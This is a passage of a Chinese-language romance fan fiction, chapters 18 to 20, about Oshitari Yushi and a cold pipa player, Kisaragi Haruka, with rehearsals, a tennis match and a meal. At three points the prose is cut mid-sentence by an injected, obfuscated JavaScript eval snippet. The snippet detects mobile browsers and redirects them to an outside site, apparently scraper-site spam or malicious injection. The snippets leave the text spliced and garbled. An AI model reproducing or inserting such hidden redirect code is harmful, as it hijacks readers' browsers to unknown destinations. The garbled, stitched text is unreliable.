心底那点微弱的希望火苗仿佛被冷水浇透,他有些自嘲地扯了扯嘴角,准备起身。 就在这时,手机屏幕忽然亮了一下,一条新消息提示弹了出来—— 发件人:Moon 忍足的心跳骤然漏了一拍,手指甚至有些发僵,他迅速点开。 消息内容很短,只有一行字。 【Moon】:《穿越时空的思念》会适合你们。 忍足愣愣地看着那行字,尤其是那个曲名——《穿越时空的思念》。 这是一首极其著名且优美的曲子,旋律悠远深情,带着淡淡的哀伤和磅礴的思念,情感层次极为丰富,确实非常适合用多种乐器来演绎。 更重要的是……她回复了。 她不仅回复了,还认真地给出了建议。 她并没有无视他,也没有生气。 她简单的一个回答,就可以瞬间冲散了昨夜所有的忐忑和阴霾。 握着手机,嘴角无法控制地向上扬起,他几乎能听到自己心脏欢快跳动的声音。 他立刻回复,指尖都带着轻快的节奏: 【忍足侑士】:谢谢建议,我这就去试试。[笑脸] 放下手机,忍足觉得今天的阳光格外明媚,连窗外叽叽喳喳的鸟叫声都变得无比动听。 他拿起小提琴,忍不住即兴拉了一小段《穿越时空的思念》的主旋律,音符跳跃着,充满了雀跃与希望。 《穿越时空的思念》的旋律在排练厅内回荡。 经过音乐部专业人士的初步编排,这首曲子本身的优美和情感深度确实比之前的尝试更契合“乐器大融合”的概念。 钢琴、小提琴、古筝、笛子、甚至塔布拉鼓……各种音色交织在一起,勾勒出一幅跨越地域与时空的音乐画卷。 然而几次合练下来,虽然效果尚可,但在座懂音乐的人,尤其是追求极致的迹部和感受力敏锐的忍足,都隐隐觉得似乎还欠缺了点什么。 听起来很和谐,很丰富,却总感觉少了一个能真正将所有这些异质音色凝聚起来的、富有穿透力和故事性的灵魂声音。 就像一幅色彩缤纷的画,少了最点睛的那一笔。 气氛有些沉闷,大家还在讨论哪个段落的衔接可以再调整,哪种乐器的比重需要再平衡。 就在这时,一道清亮剔透、极具穿透力的乐音毫无预兆地破空而来。 那声音来得恰到好处,正是在上一段旋律渐歇、余韵未散的静谧时刻。 几声轮指,清脆如玉珠落盘,紧接着流畅而富有情感的旋律流淌而出,泛音空灵缥缈,仿佛瞬间将弥漫在空气中的、无形无质的“思念”具体化,像一缕轻烟被温柔而又执拗地吹起、缭绕,直抵人心。 《穿越时空的思念》的主旋律用琵琶演绎,少了几分原曲的哀婉,多了几分东方特有的含蓄与韧性,那份思念变得悠远而深刻。 所有乐手都下意识地停下了手中的动作,惊讶地循声望去。 忍足的心脏猛地一跳,几乎要跃出胸腔。 这个音色,这种感觉…… 不会错的,一定是她。 他强压下寻找的冲动,深吸一口气,几乎是凭借本能,重新举起了小提琴。 琴弓搭上琴弦,流泻出的音符不再是单纯的优美,而是带着试探般的喜悦,与那清越的琵琶声交织、呼应、对话,仿佛迷失的旅人终于听到了故乡的召唤。 有了琵琶这极具辨识度和凝聚力的音色作为引领和支撑,其他乐器仿佛瞬间找到了主心骨和方向。 迹部的钢琴基底立刻变得更为沉稳和包容,古筝的流水潺潺、笛子的悠远空灵、甚至塔布拉鼓的节奏律动,都自然而然地融入了进来,不再是各自为政的堆砌,而是真正构成了一个层次分明、情感饱满的整体。 一曲终了,排练厅内出现了短暂的寂静,随即爆发出一阵由衷的惊叹和掌声。 “太棒了!” “刚才那段琵琶是谁?!” “感觉完全不一样了!这才对味!” 大家纷纷放下乐器,好奇地四处张望,寻找着那惊艳之声的来源。 只见在排练厅后方阴影处的椅子上,一个身影抱着琵琶,缓缓站了起来。 如月遥神色依旧淡然,仿佛刚才那打动所有人的演奏并非出自她手。 她无视了那些投来的好奇、惊讶、赞赏的目光,步履平稳地走到众人面前。 她先是看了一眼忍足,目光在他因为激动而微微发亮、还带着笑意的脸上停顿了半秒,然后转向众人,开口依旧是冷静挑剔的口吻: “整体构思不错。但大融合不是简单拼凑。” 她伸出纤长的手指,逐一点评,“这里的古筝轮指太密,抢了主旋律的呼吸感。” “笛子那个换气口太生硬,破坏了意境。” “塔布拉鼓的节奏型可以再简化一些,现在有点喧宾夺主。” 她最后看向编曲者,“和弦进行可以再调整一下,转调的地方琵琶可以用扫弦加强情绪推进,但需要钢琴提前半拍铺垫。” 她一针见血地指出了几个关键问题,提出的建议专业且精准,完全不像个临时加入的外行。 所有人都愣住了,包括迹部。 他惊讶的不是她的专业水准,而是她居然会主动出现,并且如此直接地参与进来。 忍足看着她站在灯光下,抱着琵琶一脸冷静地说着专业术语的样子,只觉得心脏被填得满满的。 他的月亮,不仅来了,还如此光芒四射。 就在众人还沉浸在如月遥精准又毒辣的点评中时,那位弹古筝的中国女孩目光灼灼地盯着如月遥怀中的琵琶,忽然惊讶地“啊”了一声,语气带着难以置信的赞叹: “这……这把琵琶……” 她仔细端详着那暗紫色木质上流畅的纹理和温润的光泽,以及那些精美绝伦的细节,“这木料……是一整片的檀香紫檀小叶紫檀吗?” “这相、这轴……是收藏级别的珍品了吧?!” 她的声音因为激动而微微拔高,引来了其他人的注目。 能考入东大并且在这里参与排练的,多少都对乐器有些了解,即便不完全懂琵琶,也从女孩的语气和“檀香紫檀”、“收藏级”这些词汇中感受到了如月遥手中乐器的非凡。 如月遥点了点头,语气里带上了一点类似于遇到知音般的缓和:“你还挺识货。” 得到肯定,古筝女孩更加兴奋了,但随即又有些不好意思地笑了笑:“我小时候也学过一阵子琵琶,所以了解一点点。” “但是真的太难了,‘百乐之王’不是白叫的,对手指力量和技巧要求太高了,我最后还是选择了相对简单点的古筝。” “你的古筝弹得也很好,”如月遥客观地评价道,语气平淡却真诚,“流水段落的处理很有灵气。” 她只是就事论事,却让那古筝女孩瞬间红了脸,有些受宠若惊。 如月遥的目光扫过在场众人,最后落回迹部身上,似乎在等待下一步的指示,忍足立刻抓住这个机会开口,“如月,既然你都来了,也指出了问题……” “不如就留下来和我们一起合奏吧?这首曲子,很需要你的琵琶。” 他镜片后的目光专注地看着她,带着恳切。 迹部也反应过来,打了个响指,接口道:“啊嗯,没错。你的琵琶是让这首曲子真正活起来的关键。” “临时加入虽然有些唐突,但本大爷代表执行委员会,正式邀请你加入东大汇演节目组。” 如月遥沉默了几秒,既没答应也没拒绝,只是抱着她的古董琵琶,默默地走到一旁的椅子区,找了个空位坐了下来。 而她选择的位置,不偏不倚,正好在忍足平时放琴盒和乐谱的椅子旁边。 或许是因为在场这么多人里,她只相对“熟悉”忍足,又或许只是无意识的巧合。 但无论如何,这个细微的举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526620|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,让忍足的心弦又被轻轻拨动了一下,嘴角忍不住微微上扬。 排练再次开始。 这一次,有了如月遥和她的琵琶正式加入,整个感觉截然不同。 她不仅仅是演奏,更是在用她的音乐理解和掌控力无形中引导着整个乐团。 该她主导时,清亮穿透的琵琶声能瞬间抓住所有人的耳朵;该她衬托时,她又能在背景里用轮指或扫弦铺垫出极其丰富的层次感,完美地烘托其他乐器。 尤其是与小提琴的对话段落,忍足的琴声缠绵温柔,如月遥的琵琶则清冷悠扬,两种音色一西一东,一婉转一清越,交织缠绕,将《穿越时空的思念》那份跨越时空的羁绊与情感演绎得淋漓尽致。 排练变得异常顺利,之前所有滞涩、不协调的地方,在她的参与和偶尔一两句简练的指点下都迎刃而解。 整个乐团仿佛找到了主心骨,效率惊人。 忍足偶尔从乐谱上抬起眼,看向身旁专注拨弦的如月遥,侧脸在排练厅的灯光下显得格外宁静美好。 月亮,在他的世界里,奏响了如此动听的乐章。 排练在一种前所未有的和谐与高效中结束。 众人纷纷收拾乐器,互相道别,脸上都带着对最终演出成功的期待和兴奋。 迹部合上钢琴盖,优雅地拿起旁边的外套,目光状似无意地扫过忍足和如月遥的方向。 看到忍足虽然看似从容地收拾着小提琴,但眼角余光几乎就没离开过旁边抱着琵琶的身影,迹部嘴角勾起一抹了然的弧度。 嗯,这家伙,估计又在琢磨什么“不华丽”的独处借口了。 他懒得当电灯泡,率先离开了排练厅。 忍足将小提琴仔细收入琴盒,扣上搭扣,然后转向一旁安静坐着的如月遥。 她的手指正轻轻拂过琵琶的凤尾,眼神专注,仿佛在检查这件珍贵的乐器是否在刚才的合奏中有所损伤。 “那个……”忍足清了清嗓子,关西腔放得比平时更柔和些,“琵琶看起来挺重的,回去的路上,需要我帮你拿吗?” 他伸出手,示意了一下。 如月遥没有任何犹豫地摇了摇头,将琵琶更紧地抱在怀里,语气平淡却不容置疑:“不用。我不喜欢别人碰我的东西。” “……” 忍足伸出的手僵了一下,随即有些尴尬地收了回来,心底涌上一阵清晰的失落。 被归入“别人”的行列了啊。 两人一前一后走出排练楼,傍晚的风带着凉意吹拂过来。 沉默地走了一小段路,忍足还是没忍住,问出了从她出现那一刻就盘旋在心底的疑问。 “今天……怎么会过来?之前不是明确表示没兴趣吗?”他记得她当时拒绝得有多干脆。 如月遥的脚步放缓了一丝。 她目视前方,侧脸在夕阳余晖下显得有些朦胧。声音很轻,却清晰地飘入他耳中: “你不是想听吗?” 忍足猛地顿住脚步,惊讶地转头看向她。 她想起来了? 是了…… 那次从京都赏花宴回东京的车上,他确实半是玩笑半是认真地提过,想听听她弹琵琶。 他其实没指望她能记住这句随口一提的话,更没想过她会因为这个原因,而改变主意出现在她原本认为“麻烦”的场合。 如月遥似乎也意识到自己这个回答听起来有些暧昧了。 “就当是……感谢你上次在赏花宴给的柠檬糖吧。” 似乎觉得这个理由还不够充分,又硬邦邦地加了一句,带着她特有的、毒舌式的坦诚:“起初你们那个大合奏,太难听了。有点浪费你的小提琴。” 忍足一个没忍住笑出了声。 不是平日里那种慵懒优雅的笑,而是从胸腔深处震发出的、低沉而愉悦的笑声,带着难以言喻的磁性,在傍晚的空气中显得格外性感动人。 原来是因为糖,是因为觉得他拉得还行却被拖累,甚至还记得他那句“想听”。 这种别扭又坦诚的回应方式,实在是太有她的风格了,可爱得让他心尖发颤。 他笑了一会儿才停下来,眼睛弯成了好看的弧度,里面盛满了几乎要溢出来的温柔和欢喜。 “好吧,不管是因为糖,还是因为同情我的小提琴,”他笑着看向她,语气轻松而期待,“为了表达我的感谢,以及庆祝今天排练顺利,不知是否有这个荣幸,请大小姐共进晚餐?然后顺路送你回家。” 如月遥瞥了他一眼,对他情绪突然变得这么高涨似乎有点不解,但并没有反对这个提议,“可以。” 走了两步,她忽然又想起什么,目光落在他的右肩和脖颈处,提醒道:“你回家之后,最好对肩颈进行一下热敷和舒缓。” “今天小提琴拉得太久了,姿势虽然标准,但肌肉持续紧张,容易劳损。” 她……连这个都注意到了?还出言提醒? 忍足只觉得心里那头小鹿今天大概是彻底疯了,撞得他头晕目眩,幸福感满得快要爆炸。 他努力维持着表面的镇定,声音却不由自主地放得更柔:“好,听大小姐的。谢谢关心。” 夕阳将两人的影子拉得很长,并肩走向校门的方向。 忍足觉得今天的晚风,真是温柔得不可思议。 19. 第 19 章 日子如同东京湾的潮水,平稳而迅速地向前流淌。 忍足侑士的生活仿佛被精准地分割成了三个主要板块:医学部繁重的课业与实验、高校联合汇演日益紧张的音乐排练、以及即将到来的关东地区高校网球联赛的备战。 这三座大山压下来,他感到了前所未有的忙碌和疲惫。 迹部景吾看着他在训练间隙还在翻看乐谱或者医学笔记,忍不住冷嘲热讽:“啊嗯?忍足,这次联赛你要是敢输一场,我看你关西MVP的头衔也可以直接摘了,以后专心给如月遥当管家算了,我看你挺有天赋。” 忍足只能无奈地推推眼镜,连回怼的力气都省了。 他知道迹部是在用激将法,但也清楚这次比赛的重要性,他确实需要投入更多时间在网球上。 如此一来,他能见到如月遥的时间就被急剧压缩了,只剩下每周二雷打不动的文学部选修课,以及每周两到三次的汇演排练。 周二的那节课,几乎成了他忙碌日程里最明亮的期待。 他总是会提前几分钟到,而她也总会如约帮他占好位置。 课堂上,他们交流不多,但那种无需言明的默契和共享的安静空间,足以抚平他一周的焦躁。 偶尔她会在他忘记带笔时递过来一支,或者在他被教授提问时,指尖无声地在书本上点出提示的段落。 音乐排练时,她是绝对的专注。 忍足很享受与她合奏的感觉,尤其是小提琴与琵琶对话的段落,每一次眼神的交汇和音乐的碰撞,都让他心跳加速。 但排练一结束,她总是最早抱起琵琶离开的那一个,很少参与后续的讨论,更别提共进晚餐了。 至于餐厅…… 由于课程和训练结束时间总对不上,他们已经很久没有“巧合”地一起吃过饭了。 好几次忍足匆匆赶到餐厅,只来得及看到她独自离开的背影,或者干脆错过。 最让忍足感到失落的是,如月遥似乎完全没有主动联系他的意向。 他的手机聊天界面,最后一条信息停留在他发出的音乐链接上,从未收到过她主动发来的只言片语。 结束了一天的奔波,拖着疲惫的身体回到家里,他会忍不住点开那个极简的聊天窗口,心里会涌起一阵难以言喻的空落和自我怀疑。 他是不是太主动了? 是不是打扰到她了? 她是不是其实并没有那么在意他,只是不擅长拒绝,或者觉得他还有点利用价值? 自己这样,是不是有点像迹部嘲讽的“舔狗”? 这个词不太美妙,偶尔冒出来时,确实会刺他一下。 他忍足侑士,从小到大何曾这样小心翼翼地揣摩过一个人的心思,何曾这样主动却似乎得不到对等的回应。 他靠在床头,摘下眼镜,揉了揉眉心。 或许迹部说得没错,他最近是有点太不像自己了。 也许他应该适当冷却一下,把精力更多地放回正事上? 毕竟医学部的考试、网球联赛、汇演排练,哪一个都不容有失。 这种略带苦涩和失落的念头,像一层薄薄的雾气,叹了口气,将手机扔到一边,强迫自己不再去看。 窗外的月光冷冷清清,如同她总是没什么表情的脸庞。 这轮他心心念念的月亮,真的有些遥远。 关东高校网球联赛的赛场上,忍足侑士这场单打比赛进行得异常艰难。 对手不仅技术扎实,体能充沛,更重要的是小动作不断,风格极其肮脏。 故意扬沙干扰视线、看似救球实则精准地将高速网球击向他的手腕、手肘、膝盖等关节部位。 忍足虽然反应敏捷,尽量避免正面撞击,但终究不是铁打的,还是被角度刁钻的来球击中了好几次。 每一次被击中,都带来一阵尖锐的疼痛和短暂的麻木,让他的动作不可避免地出现变形和迟缓,场面上显得有些狼狈。 观众席上,迹部景吾、向日岳人、凤长太郎等一众前冰帝网球部的成员都蹙紧了眉头。 “太卑鄙了!”向日岳人气得差点跳起来。 “忍足前辈……”凤长太郎满脸担忧。 迹部虽然没说话,但紧抿的嘴唇和锐利的眼神显示了他的不悦。 或许真是憋着那口被迹部调侃、以及近期在如月遥那里若即若离带来的郁闷之气,忍足今天展现出了超乎寻常的韧性和顽强。 每一次被击倒或因疼痛而趔趄,他都咬着牙爬起来,眼神变得更加冷静锐利,回击也更加刁钻狠厉。 最终,凭借着一股不服输的劲头和更胜一筹的技术底蕴,他还是以微弱的优势赢下了比赛。 下场时,汗水浸透了他的头发,运动服上沾了不少尘土,裸露的小臂和膝盖处能看到明显的红痕甚至轻微淤青。 迹部扔给他一条毛巾,语气听起来是嘲讽,眼底却有认可:“啊嗯,总算没丢人,好歹保住了你关西MVP那可怜的人设。” 忍足接过毛巾擦了把汗,无奈地笑了笑,没力气回嘴。 众人收拾好东西,准备离开比赛场地。 向日还在愤愤不平地抱怨那个对手打球太脏,根本是在打人。忍足只是默默听着,叹了口气,对这种规则内的“灰色地带”也感到有些无奈。 就在他们转过一个通道的转角时,却看到刚刚那个对手和他的队友们似乎被什么人拦住了去路。 一个清冷得仿佛能冻结空气的女声清晰地传来: “刚刚在场上,是你用球故意打人的吧?” 忍足脚步猛地一顿,这个声音…… 如月遥不知何时出现在了这里,她依旧穿着简单的便服,身姿挺拔,但那双看着对手的眼睛,冷得像西伯利亚的寒冰。 那对手显然不认识她,只见是个容貌极盛的美女,虽然气质冷了点,但刚刚输球的憋闷让他胆子大了起来,脸上露出轻浮调笑的表情。 “哟,哪来的大美女?一个人吗?” “要不要一起去喝一杯啊?” 说着,竟然伸出手,试图去揽如月遥的肩膀。 下一秒—— “啊啊啊啊——!!!” 杀猪般的惨嚎瞬间响彻整个通道! 如月遥的动作快得几乎没人看清,只见她纤细的手指看似随意地一扣一掰,伴随着令人牙酸的“咔哒”声,对方那只不规矩的手腕就以一个诡异的角度弯折了过去。 手指直接被掰断了! 如月遥甩开他的手,仿佛碰了什么脏东西,声音带着令人胆寒的意味:“我不太懂你们打网球的规则。但是……” 她冷冽的目光扫过对方因剧痛而扭曲的脸,“肯定不包括打人这一条。” “混蛋!你干什么?!” “你是谁?!来找茬的吗?!” 对手的队友们这才反应过来,又惊又怒,其中一人情绪激动之下,竟然伸出手指直直地指着如月遥的鼻子呵斥。 如月遥的目光瞬间更加冰冷。 身形微动,众人只觉得眼前一花,那个指着她的人已经发出了同样凄厉的惨叫,他的手腕也被如月遥精准地扣住,反向一扭,疼得瞬间跪倒在地。 “敢用手指着我说话,”如月遥居高临下地看着他,“胆子很大。” “如月!”忍足这时终于反应过来,急忙上前一步,既惊讶于她的出现,更担心事态扩大,他下意识地想安抚她,“我没事,只是比赛而已……” 如月遥闻声,侧头看了他一眼。 看到他灰头土脸、发丝被汗水黏在额角、运动服上沾着尘土、手臂和膝盖上还有明显红痕的狼狈样子,她的眼神似乎更冷了几分。 她没有回应忍足的话,而是重新将目光投向那个最初使坏、此刻正捂着自己断指哀嚎不止的对手。 她走上前,在那人惊恐的目光中,平静地抓住他另一只完好的手臂。 “你……你想干什么?!放开我!”对手吓得魂飞魄散。 如月遥手上一个巧劲,又是“咔哒”一声脆响,直接卸了他的关节。 “啊啊啊——!”惨叫声再次升级。 “下次,”如月遥的声音如同审判,“再让我看到你用球打人,我就让你这辈子都握不住东西。” 她松开手,看着疼得几乎晕厥过去的男人,淡淡地补充了一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526621|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早点去医院。现在去,还有机会接得好。” 一行人早已被她的狠辣手段吓得面无人色,哪里还敢废话,连滚带爬地搀扶着两个伤员,如同丧家之犬般狼狈不堪地逃走了。 通道里瞬间安静下来,只剩下众人目瞪口呆地站在原地,看着那个仿佛只是随手拍掉了两只苍蝇般平静的女人。 忍足侑士看着如月遥冷冽的侧脸,心脏在胸腔里疯狂地跳动。 她……是为了他来的? 她看到了他的比赛? 她因为他被欺负,所以……生气了?甚至动了手? 迹部景吾最先从震惊中回过神,意味深长地挑了挑眉,优雅地打了个响指:“啊嗯,无关的人走了。我们也该回去了。” 示意其他还处于石化状态的队员离开,给这两人留下空间。 忍足走到如月遥面前,声音有些沙哑:“如月小姐……你怎么会来这里?” 如月遥抬起眼,看了看他手臂上的红痕,沉默了几秒才移开视线, “路过。” 忍足看着眼前神色冷然、甚至带着一丝未散尽戾气的如月遥,心里那点因为连日疏远而积攒的失落和自我怀疑,瞬间如同被阳光穿透的薄雾,消失得无影无踪。 她绝对不会是“路过”这种地方。 她知道了他的比赛日程。 她看到了他狼狈的样子。 她甚至……因为他被故意击打而动了怒,下了狠手。 这些认知像一股暖流,汹涌地冲刷过他心底每一个角落,带来难以言喻的悸动和狂喜。 原来,她并非全然不在意。 她只是用她自己的方式,在关注着他。 如月遥抬眼扫过他沾满尘土的运动服、汗湿的头发、以及手臂和膝盖上明显的红痕与轻微擦伤,然后嫌弃地蹙眉,毫不客气地评价道: “脏死了。” 这种熟悉的、带着她个人风格的挑剔语气,此刻在忍足听来,简直如同天籁。 他非但不觉得难受,反而从这简短的三个字里,听出了一丝隐晦的关心。 紧接着,如月遥的视线又落在他因为疼痛而略显苍白的脸上,语气变得更加不耐烦,甚至带上了一点莫名的火气,像是责怪他不争气:“和那种垃圾打什么球?浪费时间。” “直接打死最好,一了百了。” 这话说得极其暴力,但从她嘴里说出来,配合着她那副“我只是在陈述最优解”的冷淡表情,却让忍足胸腔里那股甜意几乎要满溢出来。 忍不住低低地笑了一声,牵动了嘴角的肌肉,才意识到那里似乎也有点擦伤。 他低下头像是认错般,声音里却带着藏不住的笑意和柔软:“嗯……确实打得太狼狈了,不够帅气。” 他承认得干脆,甚至有点自嘲。 如月遥似乎被他这副“认错态度良好”的样子噎了一下,瞪了他一眼,然后更加不耐烦地催促道:“那还不赶紧去处理伤口?等着长蘑菇吗?” 她多一秒都不想再待在这个充满汗味和尘土的地方,转身拔腿就往外走。 忍足心里那点甜意瞬间化作了实际行动的动力。 他立刻抓起地上的网球包甩到肩上,快步跟了上去,走在她身侧稍后半步的位置。 “如月。”他侧头看着她在傍晚光线下显得格外白皙的侧脸,试探着发出邀请,“一会儿……要不要一起吃饭?” 问完,他有点紧张地等待她的回答。 如月遥脚步没停,目视前方,眉头都没动一下,拒绝得毫不留情:“不喜欢和一身臭汗的人一起吃饭。” 语气里的嫌弃十分真切。 忍足几乎是脱口而出,“那我先去冲个澡?很快,十分钟就好!” 如月遥不太情愿地扔下一句:“那快点。肚子饿了。” 说完,她加快了脚步,想尽快结束这个对话。 “好!我保证最快速度!”他的关西腔调愉悦地上扬,充满了活力,仿佛刚才在赛场上耗尽体力、浑身酸痛的那个人根本不是他。 夕阳的余晖将两人的影子拉长,一前一后,隔着不远不近的距离,却朝着同一个方向走去。 20. 第 20 章 餐厅里,两人相对而坐。 忍足的右臂因为被网球多次击中和最后的扑救,有些肌肉拉伤和淤青,活动起来确实不太方便,尤其是端举重物时会隐隐作痛。 他正准备用没受伤的左手去端那盘看起来有点分量的炖牛肉,一只手却先他一步,将盘子端到了他面前。 如月遥神色平静,仿佛只是顺手做了一件微不足道的小事,继续低头吃着自己的那份沙拉。 过了一会儿,忍足想尝试去夹远处那盘蔬菜,筷子刚伸出去,如月遥就已经把那盘蔬菜端到他面前。 动作行云流水,没有一丝迟疑或刻意,仿佛这一切本该如此,自然得让忍足差点没反应过来。 忍足看着她平静无波的侧脸,心底那片被糖浆包裹的海洋又开始咕嘟咕嘟地冒起幸福的泡泡。 他将她每一个细微的、带着善意的举动都小心翼翼地刻进脑海里,珍藏起来。 终于还是没忍住,趁着用餐间隙,问出了那个盘旋在心头的问题:“大小姐今天怎么会来看比赛?” “我还以为……你这段时间很忙。” 如月遥正用勺子舀起一勺汤,闻言眼皮也没抬一下,“学校宣传栏那么大的海报和赛程表,我又不是瞎了看不见。” 她喝完汤才补充了一句,带着明显的吐槽,“那个破网球场,定位一点都不准,难找得要死。” 原来她是看到了宣传海报…… 所以,她是特意找过去的? 甚至还因为场地难找而抱怨? 忍足只觉得心里的烟花又炸开了一轮。 然而,如月遥的下一句话就让气氛瞬间降温。 她放下勺子,目光锐利地盯住忍足,那双漂亮的眼睛里带着明显的不满。 “打网球都这么打人吗?”她显然还对那个对手的行为耿耿于怀。 忍足解释:“那种人是极少数,大部分选手都很注重体育精神。” “只是我运气不太好,碰巧遇上了而已。”他可不想让她对网球这项运动产生什么可怕的误解。 如月遥哼了一声,显然对这个解释并不完全满意。 她的目光在他受伤的手臂和略显疲惫的脸上扫过,语气变得更加不耐:“看你这样子,明天排练,音准估计都要抖成筛子了。真是麻烦。” 明明是被嫌弃,忍足却听得心花怒放。 她连他明天的排练都考虑到了! 他一副虚心受教的样子:“嗯,我会注意的,回去好好冰敷一下,不会影响排练的。”语气温顺得不可思议。 就在这时,忍足放在桌上的手机屏幕突然亮了起来,连续震动了好几下。 他瞥了一眼,是向日岳人发来的信息,一连好几条,刷满了屏幕。 【向日岳人】:侑士!!!! 【向日岳人】:迹部说你去追女孩子了?!真的假的?! 【向日岳人】:是刚刚那个超级漂亮的女生吗? 【向日岳人】:你居然不告诉我!还是不是最好的搭档了! 【向日岳人】:进展怎么样了啊?快说快说![八卦脸.jpg] 【向日岳人】:迹部还说你是舔狗?!真的假的啊?![震惊.jpg] 显然,迹部大少爷已经把今天通道里悍然出手的如月遥,以及他平时对忍足的“锐评”,添油加醋地告诉了好奇心旺盛的向日岳人。 忍足看着那一连串充满惊叹号和八卦气息的信息,额角忍不住滑下几道黑线。 尤其是“舔狗”那两个大字,在手机屏幕上显得格外刺眼。 他尴尬地咳嗽了一声,抬头正好对上如月遥投来的询问目光。 虽然她没看到具体内容,但手机连续震动和忍足瞬间变得不太自然的表情,显然引起了她的注意。 忍足只觉得脸颊有点发烫,连忙将手机屏幕按熄塞进了口袋里,装作无事发生:“咳……是朋友,有点…小事。” 如月遥看了看他明显心虚的样子,又瞥了一眼他放手机的口袋,只是淡淡地“哦”了一声,重新低下头继续用餐。 忍足在心里把迹部和向日吐槽了一万遍,但看着对面安静吃饭的如月遥,又觉得就算被说是舔狗,好像也没什么大不了的了。 啊,忍足侑士你真是一点都没底线。 接下来的几天音乐排练,果然没能完全摆脱手臂伤势的影响。 尽管他已经极力控制,但在需要细腻运弓和长时间保持稳定性的段落,手臂肌肉的酸痛和轻微颤抖还是会不受控制地泄露出来,影响了音色的完美。 虽然他掩饰得很好,但逃不过迹部景吾那双洞察秋毫的眼睛。 合练中途,迹部抬手叫停了演奏,华丽的声线在排练厅里响起:“啊嗯,今天就到这里吧。” “某些人的手臂再硬撑下去,下次排练就可以直接演奏颤音协奏曲了。” 他的目光意有所指地扫过忍足,语气虽然依旧带着调侃,但其中不容错辨的关心让忍足无法反驳。 紧接着,迹部宣布了另一项安排:“执行委员会已经协调了服装设计系的资源,为本次汇演的所有表演者量身定制演出服。” “明天下午两点,设计系三楼工作室,所有人准时到场,进行初步量体和设计沟通。不许迟到。” 第二天下午,设计系的工作室内充满了艺术氛围和轻微的嘈杂声。 布料、人台、设计草图随处可见。 每位表演者都被分配了一位设计系的学生进行一对一沟通。 忍足配合着一位男生设计师抬起手臂进行测量,心思却有些飘忽,目光不时瞥向工作室的门口。 如月遥今天有一节文学部的课程结束得比较晚,此刻还未到场。 忍足一边忍着手臂的不适配合测量,一边忍不住想象待会儿那位大小姐被人拿着软尺围着量胸围、腰围、指挥着“抬手”、“转身”时,会露出怎样不耐烦甚至危险的表情…… 就在他测量接近尾声时,工作室的门被轻轻推开。 如月遥的身影出现在门口,她依旧是那副样子,但抿紧的唇线和比平时更冷淡几分的眼神,明确传达出“被迫参加这种麻烦事很不高兴”的情绪。 她扫了一眼室内略显混乱的场景,眉头几不可查地蹙了一下,还是迈步走了进来。 忍足正想开口招呼她,一位穿着设计系围裙、笑容开朗的女生已经先一步朝着如月遥走了过去。 “你好,”女生伸出手,脸上带着专业而友好的微笑,“我是水谷雅子,服装设计系二年级。这次由我负责为你设计演出服装,请多指教。” 如月遥原本正因这陌生的环境和流程而感到不耐,只是习惯性地冷淡抬眼,看向面前自称水谷雅子的女生。 然而,就在她的目光触及对方脸庞的那一瞬间—— 如月遥整个人仿佛被一道无形的电流击中,猛地愣在了原地。 她那双总是平静无波、甚至带着疏离冷意的眼眸,骤然收缩,瞳孔深处掠过一丝极度震惊和难以置信的光芒。 她的呼吸似乎都在那一刻停滞了,只是死死地、一眨不眨地盯着水谷雅子的脸。 这张脸…… 这眉眼、这鼻梁的弧度、这笑起来时嘴角微微上扬的模样…… 竟然……会和记忆深处的那张面孔……如此相像?! 像到……几乎让她以为是幻觉的程度。 水谷雅子被她如此直白而异常的目光盯得有些困惑,脸上的笑容僵了一下,伸出的手也停留在了半空,显得有些尴尬:“那个……如月同学?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526622|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>忍足也立刻察觉到了如月遥的异常。 她那瞬间改变的脸色和眼中从未有过的剧烈情绪波动,让他心头一紧。 工作室里的空气,因这突如其来的凝滞而变得微妙起来。 如月遥强制自己移开停留过久的视线,目光落回水谷雅子依旧悬在半空、略显尴尬的手上。 伸出手轻轻回握了一下,触之即离,声音已经恢复了往常的平静无波:“嗯。麻烦你了。” 水谷雅子似乎松了口气,笑容重新变得明亮:“太好了!我会尽力的!我知道如月同学是弹奏琵琶的,在设计袖子和肩部的时候,一定会特别注意,保证你手臂活动的灵活性,绝对不会影响演奏!” 如月遥只是微微颔首,没有再说话。 忍足只能压下满腹的惊疑和好奇,依旧配合着测量,但全部的注意力早已像被磁石吸引般,投向了不远处的两人,耳朵更是竖了起来,不肯错过任何一丝动静。 水谷雅子是个热情又专业的女孩。 她拿出平板电脑,调出几张初步的设计草图给如月遥看,兴致勃勃地询问:“如月同学有没有偏好的颜色?或者喜欢什么样的花纹图样?我可以根据你的喜好来调整设计。” 出乎忍足的意料,如月遥并没有表现出丝毫的不耐烦,反而认真地看了看那几张草图,然后回答道:“绿色。” 